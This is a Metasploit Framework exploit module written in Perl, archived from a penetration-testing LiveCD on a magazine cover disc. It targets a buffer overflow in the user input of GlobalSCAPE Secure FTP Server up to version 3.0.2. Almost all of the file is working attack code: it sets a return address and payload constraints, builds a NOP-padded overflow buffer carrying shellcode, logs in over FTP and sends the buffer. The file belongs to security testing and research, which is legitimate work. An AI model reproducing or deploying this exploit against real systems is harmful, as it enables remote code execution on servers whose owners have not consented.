home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / exploits / globalscapeftp_user_input.pm < prev    next >
Text File  |  2006-06-30  |  4KB  |  129 lines

  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Exploit::globalscapeftp_user_input;
  11. use base "Msf::Exploit";
  12. use strict;
  13. use Pex::Text;
  14.  
  15. my $advanced = { };
  16.  
  17. my $info =
  18.   {
  19.     'Name'  => 'GlobalSCAPE Secure FTP Server user input overflow',
  20.     'Version'  => '$Revision: 1.4 $',
  21.     'Authors'  =>
  22.       [
  23.         'Fairuzan Roslan <riaf [at] mysec.org>',
  24.         'Mati Aharoni <mati [at] see-security.com>',
  25.       ],
  26.     'Arch'  => [ 'x86' ],
  27.     'OS'    => [ 'win32', 'win2000', 'winxp', 'win2003' ],
  28.     'Priv'  => 0,
  29.     'AutoOpts'  => { 'EXITFUNC' => 'thread' },
  30.     'UserOpts'  =>
  31.       {
  32.         'RHOST' => [1, 'ADDR', 'The target address'],
  33.         'RPORT' => [1, 'PORT', 'The target port', 21],
  34.         'SSL'   => [0, 'BOOL', 'Use SSL'],
  35.         'USER'  => [1, 'DATA', 'Username', 'anonymous'],
  36.         'PASS'  => [1, 'DATA', 'Password', 'metasploit@'],
  37.       },
  38.  
  39.     'Payload' =>
  40.       {
  41.         'PrependEncoder'  => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",
  42.         'Space'    => 1000,
  43.         'BadChars' => "\x00\x20".
  44.           join('', map { $_=chr($_) } (0x61 .. 0x7a)),
  45.       },
  46.  
  47.     'Description'  =>  Pex::Text::Freeform(qq{
  48.     This module exploits the buffer overflow found in the user-supplied
  49.     input in GlobalSCAPE Secure FTP Server prior to 3.0.2. 
  50. }),
  51.  
  52.     'Refs'  =>
  53.       [
  54.         ['OSVDB', '16049'],
  55.         ['URL',   'http://archives.neohapsis.com/archives/fulldisclosure/2005-04/0674.html'],
  56.         ['MIL',   '22'],
  57.       ],
  58.  
  59.     'DefaultTarget' => 0,
  60.     'Targets' =>
  61.       [
  62.         ['GlobalSCAPE Secure FTP Server <= 3.0.2 Universal', 0x1002f01f ],
  63.       ],
  64.  
  65.     'Keys'  => ['gsftp'],
  66.  
  67.     'DisclosureDate' => 'May 1 2005',
  68.   };
  69.  
  70. sub new {
  71.     my $class = shift;
  72.     my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  73.     return($self);
  74. }
  75.  
  76. sub Exploit {
  77.     my $self = shift;
  78.     my $target_host = $self->GetVar('RHOST');
  79.     my $target_port = $self->GetVar('RPORT');
  80.     my $target_idx  = $self->GetVar('TARGET');
  81.     my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
  82.     my $target      = $self->Targets->[$target_idx];
  83.  
  84.     if (! $self->InitNops(128)) {
  85.         $self->PrintLine("[*] Failed to initialize the NOP module.");
  86.         return;
  87.     }
  88.  
  89.     my $evil = $self->MakeNops(3000);
  90.     substr($evil, 2043, 4, pack("V", $target->[1]));
  91.     substr($evil, 2047, length($shellcode), $shellcode);
  92.  
  93.     my $s = Msf::Socket::Tcp->new
  94.       (
  95.         'PeerAddr'  => $target_host,
  96.         'PeerPort'  => $target_port,
  97.         'LocalPort' => $self->GetVar('CPORT'),
  98.         'SSL'       => $self->GetVar('SSL'),
  99.       );
  100.  
  101.     if ($s->IsError) {
  102.         $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  103.         return;
  104.     }
  105.  
  106.     $self->PrintLine(sprintf ("[*] Trying ".$target->[0]." using return address 0x%.8x....", $target->[1]));
  107.  
  108.     my $r = $s->Recv(-1, 5);
  109.     if (! $r) { $self->PrintLine("[*] No response from FTP server"); return; }
  110.     ($r) = $r =~ m/^([^\n\r]+)(\r|\n)/;
  111.     $self->PrintLine("[*] $r");
  112.  
  113.     $self->PrintLine("[*] Login as " .$self->GetVar('USER'). "/" .$self->GetVar('PASS'));
  114.     $s->Send("USER ".$self->GetVar('USER')."\r\n");
  115.     $r = $s->Recv(-1, 10);
  116.     if (! $r) { $self->PrintLine("[*] No response from FTP server"); return; }
  117.  
  118.     $s->Send("PASS ".$self->GetVar('PASS')."\r\n");
  119.     $r = $s->Recv(-1, 10);
  120.     if (! $r) { $self->PrintLine("[*] No response from FTP server"); return; }
  121.  
  122.     $self->PrintLine("[*] Sending evil buffer....");
  123.     $s->Send("$evil\r\n");
  124.     $r = $s->Recv(-1, 5);
  125.     if (! $r) { $self->PrintLine("[*] No response from FTP server"); return; }
  126.     return;
  127. }
  128.  
  129.